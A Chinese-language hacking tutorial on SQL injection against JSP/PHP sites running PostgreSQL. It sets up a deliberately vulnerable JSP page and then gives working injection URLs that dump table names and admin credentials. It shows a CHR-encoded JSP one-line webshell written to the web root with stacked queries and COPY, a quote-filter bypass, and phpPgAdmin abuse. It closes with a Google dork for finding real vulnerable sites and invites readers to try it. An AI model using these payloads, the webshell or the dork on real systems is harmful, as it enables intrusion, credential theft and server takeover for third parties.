postgresql简单介绍:

    PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统,可以说是目前世界上最先进,功能最强大的自由数据库管理系统。 PostgreSQL是以加州大学伯克利分校计算机系开发的 POSTGRES,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。 POSTGRES 领先的许多概念只是在非常迟的时候才出现在商业数据库中。它的功能绝对不亚于其他商业型的数据库,虽然名气没有mysql响,但它们同属开源类别。

    现在关于postgresql的脚本攻击知识非常匮乏,下面就跟读者一起来了解下这方面的知识。希望对读者有所帮助!

php+postgresql构建存在注射的脚本环境

    关于php+postgresql注入攻击前,最好是搭建个测试环境,搭建环境这里不是重点,笔者不再赘述,笔者这里搭建了windows2003+tomcat+jdk+postgresql的平台!在这里为了照顾下新手朋友,笔者简单介绍下数据库以及脚本的创建,也算是对SQL语句的温习。

(1)建表语句

CREATE DATABASE hackdata; //创建数据库hackdatacreate table lists (id serial NOT NULL,
--团队id,这里注意的是serial在postgresql中代表自增team_name varchar(30),--团队名字team_site varchar(50) NOT NULL,--团队名称description varchar(300) NOT NULL, --团队简介PRIMARY KEY ( id ) );insert into lists values(1,'80sec','www.80sec.com','一个新的致力于web安全研究的小团体. ');--
create table admins
(aid serial NOT NULL ,name CHAR( 10 ) NOT NULL ,--用户名password TEXT NOT NULL ,--用户密码,用MD5加密PRIMARY KEY (aid) );
// 插入一条记录到admin表
INSERT INTO admins (aid,name,password) VALUES (1 , 'blackeagle',MD5('blackeagle' ));--账号密码均为blackeagle

    关于postgresql数据库的建表语句和其他SQL语句可能和其他有所不同,希望大家注意,下面我们可以通过一个union语句查看下是否成功,可以看出已经成功执行。如图1

浅析postgresql数据库攻击技术

图1

(2)创建存在注入漏洞的jsp脚本injection.jsp

    大家掌握了之后,可以应用在mysql 以及oracle等其他环境的搭建。

<%@ page language="java" contentType="text/html;charset=gbk" import="java.io.*" import="java.util.*" import="java.sql.*"%>
<html>
<head>
<title>dbjsp.jsp</title>
</head>
<body>

<%

Class.forName("org.postgresql.Driver").newInstance();
String url="jdbc:postgresql://localhost/hackdata";
String user="hack";
String password="hack";
Connection conn=DriverManager.getConnection(url,user,password);
Statement stmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR_UPDATABLE);
String id = request.getParameter("id");/**关键是这句,没有用PreparedStatement,就构造了我们的注入点**/

String sql="select * from lists where id="+id;
ResultSet rs=stmt.executeQuery(sql);
while(rs.next()){
%>

<p align="center">Welcome to here !Script Boy!</p>
<table width="50%" border="1" cellpadding="0" cellspacing="0" >
<tr>
<td width=100>ID:<%=rs.getString(1)%>
</td>
<td width=659>Name:<%=rs.getString(2)%>
</td>
</tr>
<tr><td colspan=2>Description:<%=rs.getString(4)%>
</td>
</tr>
<tr>
<td>Site: </td>
<td><%=rs.getString(3)%></td>
</tr></table>
<%

}
%><%rs.close();stmt.close();conn.close();%>
</body></html>

jsp+postgresql注入常见手法:

    在学习这块内容时,确保你已经对php类型的注入已经有所了解,那么就开始我们的开心之旅吧!对于数字型注入点的审查,我们可以通过and 1=1,and 1=2这种,刚才我们建立的脚本我们测试下。

    http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=1 的显示如图2

浅析postgresql数据库攻击技术

图2

浅析postgresql数据库攻击技术

图3

    知道了注入点的存在,那么我们就要判断数据库的类型,如何判断呢?

我们来看几种方法:

    首先我们想到的是,如果数据库和WEB不分离的话,那么通过服务器是否开放5432端口来判断,但是服务器如果存有防火墙,就只能从web方面入手

    其次,我们知道在Oracle数据中有一个默认的dual数据表,postgresql和它类似,我们可以通过使用查询语句如select * from pg_class/select * from pg_group的返回结果来判断数据库类型,笔者这里没有试验

    第三种:通过在注入点后加AND 1::int=1,它的意思是让1为int型数据,然后和数字1作比较,还是比较灵的。如图4

浅析postgresql数据库攻击技术

图4

    第四种:对于php+postgresql的数据库可以根据是否出现pg_query(): Query failed这种特征函数错误码来判断。

    其他判断为postgresql类型数据库的方法还有后面提到的读取version数据!

    那么跟着思路继续往下走,通常mysql和oracle注入的时候,都是通过order by查询出当前页面访问数据表的字段,然后进行union查询,postgresql是一样!(还要注意注释符的使用,笔者感觉“--”是最有效的了)有了字段数,就可以通过union联合查询,这里的union查询和oracle注入是一样的,我们来简单看下。

    笔者首先访问:

    http://192.168.0.7:81/PgsqlInjec ... ion%20select%20null,null,null,null-- 为什么是查询的null呢,这是为了匹配所有字段,需要和mysql区别!如图5

浅析postgresql数据库攻击技术

图5

    然后我们继续把字符型字段区分出来,实在匹配不了的话,就用null代替。

    首先我们先把第一个字段加引号

    http://192.168.0.7:81/PgsqlInjec ... 20union%20select%20 ‘1’,null,null,null—

    如果页面正常,说明第一个字段为字符型,异常的话我们就用数字或null来代替

    经测试,访问上述链接异常,那么改为数字就正常了,然后访问

    http://192.168.0.7:81/PgsqlInjec ... 20union%20select%20 1,’2’,null,null—-判断第2个字段的类型

    依此类推,我们得到

    http://192.168.0.7:81/PgsqlInjec ... 20union%20select%20 1,’2’,’3’,’4’

    就完全将我们的字段判断正确了,笔者将’2’这个地方替换为”version()”返回了postgresql的版本号,如图6

浅析postgresql数据库攻击技术

图6

    关于获取系统的信息的一些函数,笔者列为下表:

名字  返回类型  描述 
current_database()  name  当前数据库的名字 
current_schema()  name  当前模式的名字 
current_schemas(boolean)  name[]  在搜索路径中的模式名字 
current_user  name  目前执行环境下的用户名 
inet_client_addr()  inet  连接的远端址 
inet_client_port()  int  连接的远端端口 
inet_server_addr()  inet  连接的本地地址 
inet_server_port()  int  连接的本地端口 
session_user  name  会话用户名 
pg_postmaster_start_time()  timestamp with time zone  postmaster 启动的时间 
user  name  等于 current_user 
version()  text  PostgreSQL 版本信息 

爆账户密码

    上述已经为我们获取了部分信息,下面我们来看如何获取管理员的一些账号密码,这里可能和mysql5.x的爆库思路有所相同。

    我们可以构造如下语句,如图7

    http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,table_name,'3','4' from information_schema.tables offset 1 limit 1--

浅析postgresql数据库攻击技术

图7

    其中offset x limit y类似于mysql中的limit x,y函数,这里可以逐渐递增x的值来获取更多表的信息

    http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,table_name,'3','4' from information_schema.tables offset 2 limit 1—………http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,table_name,'3','4' from information_schema.tables offset N limit 1— 

    这里我们获取了管理员表为admins,那么我们再来学习如何爆取敏感字段。如图8

    http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,column_name,'3','4' from information_schema.columns where table_name='admins' offset 1 limit 1--

浅析postgresql数据库攻击技术

图8

    可以看到我们爆出了一个字段为name,那我们继续递增offset的值,来获取其他字段,如图9

    http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select 1,column_name,'3','4' from information_schema.columns where table_name='admins' offset 2 limit 1--

浅析postgresql数据库攻击技术

图9

    字段passowrd已经出来,猜解就很简单了,如图10

浅析postgresql数据库攻击技术

图10

    如果有的md5密码猜解不出来,可以继续通过offset x limit y函数爆其他管理的账号密码,笔者就不在演示了。

    http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select '1',name,password,null from admins offset 0 limit 1http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select '1',name,password,null from admins offset 1 limit 1……….http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1 and 1=2 union select '1',name,password,null from admins offset N limit 1

    有了账号密码,至于登陆后台之事笔者不再赘述。

如何快速获取webshell

    这点和mysql中的select into file很类似,但是注意的是这里是需要权限的,postgresql有一个默认的账户,类似于mysql中的root权限,像这种超级用户可以使用copy命令,其他用户均无法使用!笔者在上述的脚本中连接postgresql用的是hack账户这是一个普通的用户,我们来看看会不会成功!

    首先我们看下postgresql中获取webshell的几段代码,使用条件是已知web路径,并且用户权限为超级用户。

    如何获得webshell http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1;create table fuck(shit text not null); http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1;insert into fuck values('您的木马'); /PgsqlInjection/injection.jsp?id=1;copy fuck(shit) to ’路径/webshell.jsp’;

    这里假设我已经知道了网站路径为“C:\Program Files\Apache Software Foundation\Tomcat 6.0\webapps\PgsqlInjection”

    首先执行create table fuck(shit text not null),注意看这里返回了500错误,很多朋友在注入的时候碰到这里就退却了,其实500错误,往往是数据建立成功的表现,如图11

浅析postgresql数据库攻击技术

图11

    为什么这么说呢?假如我再重新执行一次上述语句,错误信息会提示我relation 已经存在,很显然我们建立成功了。如图12

浅析postgresql数据库攻击技术

图12

    然后我们插入jsp的一句话马,假如我们像这样插入的话

    http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1;insert into fuck values (<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>)

    通常数据库不会插入成功的,那么我们换种方法,通过chr()函数来插入,我们将上述JSP一句话马进行转换,插入数据。

    http://192.168.0.7:81/PgsqlInjection/injection.jsp?id=1;insert into fuck values(CHR(60)||CHR(37)||CHR(32)||CHR(105)||CHR(102)||CHR(40)||CHR(114)||CHR(101)||CHR(113)||CHR(117)||CHR(101)||CHR(115)||CHR(116)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(80)||CHR(97)||CHR(114)||CHR(97)||CHR(109)||CHR(101)||CHR(116)||CHR(101)||CHR(114)||CHR(40)||CHR(34)||CHR(102)||CHR(34)||CHR(41)||CHR(33)||CHR(61)||CHR(110)||CHR(117)||CHR(108)||CHR(108)||CHR(41)||CHR(40)||CHR(110)||CHR(101)||CHR(119)||CHR(32)||CHR(106)||CHR(97)||CHR(118)||CHR(97)||CHR(46)||CHR(105)||CHR(111)||CHR(46)||CHR(70)||CHR(105)||CHR(108)||CHR(101)||CHR(79)||CHR(117)||CHR(116)||CHR(112)||CHR(117)||CHR(116)||CHR(83)||CHR(116)||CHR(114)||CHR(101)||CHR(97)||CHR(109)||CHR(40)||CHR(97)||CHR(112)||CHR(112)||CHR(108)||CHR(105)||CHR(99)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(82)||CHR(101)||CHR(97)||CHR(108)||CHR(80)||CHR(97)||CHR(116)||CHR(104)||CHR(40)||CHR(34)||CHR(92)||CHR(92)||CHR(34)||CHR(41)||CHR(43)||CHR(114)||CHR(101)||CHR(113)||CHR(117)||CHR(101)||CHR(115)||CHR(116)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(80)||CHR(97)||CHR(114)||CHR(97)||CHR(109)||CHR(101)||CHR(116)||CHR(101)||CHR(114)||CHR(40)||CHR(34)||CHR(102)||CHR(34)||CHR(41)||CHR(41)||CHR(41)||CHR(46)||CHR(119)||CHR(114)||CHR(105)||CHR(116)||CHR(101)||CHR(40)||CHR(114)||CHR(101)||CHR(113)||CHR(117)||CHR(101)||CHR(115)||CHR(116)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(80)||CHR(97)||CHR(114)||CHR(97)||CHR(109)||CHR(101)||CHR(116)||CHR(101)||CHR(114)||CHR(40)||CHR(34)||CHR(116)||CHR(34)||CHR(41)||CHR(46)||CHR(103)||CHR(101)||CHR(116)||CHR(66)||CHR(121)||CHR(116)||CHR(101)||CHR(115)||CHR(40)||CHR(41)||CHR(41)||CHR(59)||CHR(32)||CHR(37)||CHR(62)||CHR(32));--

    虽然访问上述URL的时候还会报错,但是插入成功了,下面是测试时,通过Pgadmin查看到的结果。如图13

浅析postgresql数据库攻击技术

图13

    类似于php的一句话代码也可以进行这样的转换。下面我们就用copy命令来备份下shell

    /injection.jsp?id=1;copy fuck(shit) to ’C:\\Program Files\\Apache Software Foundation\\Tomcat 6.0\\webapps\\PgsqlInjection\\shell.jsp’;

    访问后提示这么一句错误:ERROR: must be superuser to COPY to or from a file,说明我们的权限不够,笔者在渗透测试中发现很多这样的站点,像php+postgresql注入中也经常出现这样的错误。如图14

浅析postgresql数据库攻击技术

图14

    但是如果说数据库连接用户用的是超级用户,很可能这里也是无法备份成功的,因为通常在安装的时候,postgresql都会要求管理员为其建立一个用户启动的普通用户,也就是我们平常说的降权,这样对于其他web目录可能就没有写权限。这要基于一定的运气成分。

    对于过滤了单引号的情况(php中经常出现),那么我们可以将路径改为这种格式$$/home/wvirt/leitura.com.br/public_html/test.php$$;通常就可以绕过。

Phppgadmin

    Phpmyadmin想必大家都听说过,那么phppgadmin和它类似,是postgresql的web管理程序。笔者简单介绍下它的用法。

    假如我们获取了postgresql的账号密码,那么登陆后台如果获取webShell有两种思路,第一种是查看或者修改管理员密码进入网站后台获取webshell,这里就不再讲解,第二种方式就是通过执行备份语句获取webshell。选择“模式”-“SQL码”,如图15

浅析postgresql数据库攻击技术

图15

    然后执行我们上边的备份语句,有的phppgadmin放在了postgresql的安装目录下,就可以执行我们的php代码了。如图16

浅析postgresql数据库攻击技术

图16

如何查找目标站

    大家多喜欢实践,往往这方面的站点还是很少,经笔者总结,利用谷歌构造关键词:

    inurl:id= intext:pg_query(): Query failed

    很容易就会寻到很多目标的,如果大家有什么不明白的可以到论坛找我,我的ID是:黑鹰小子。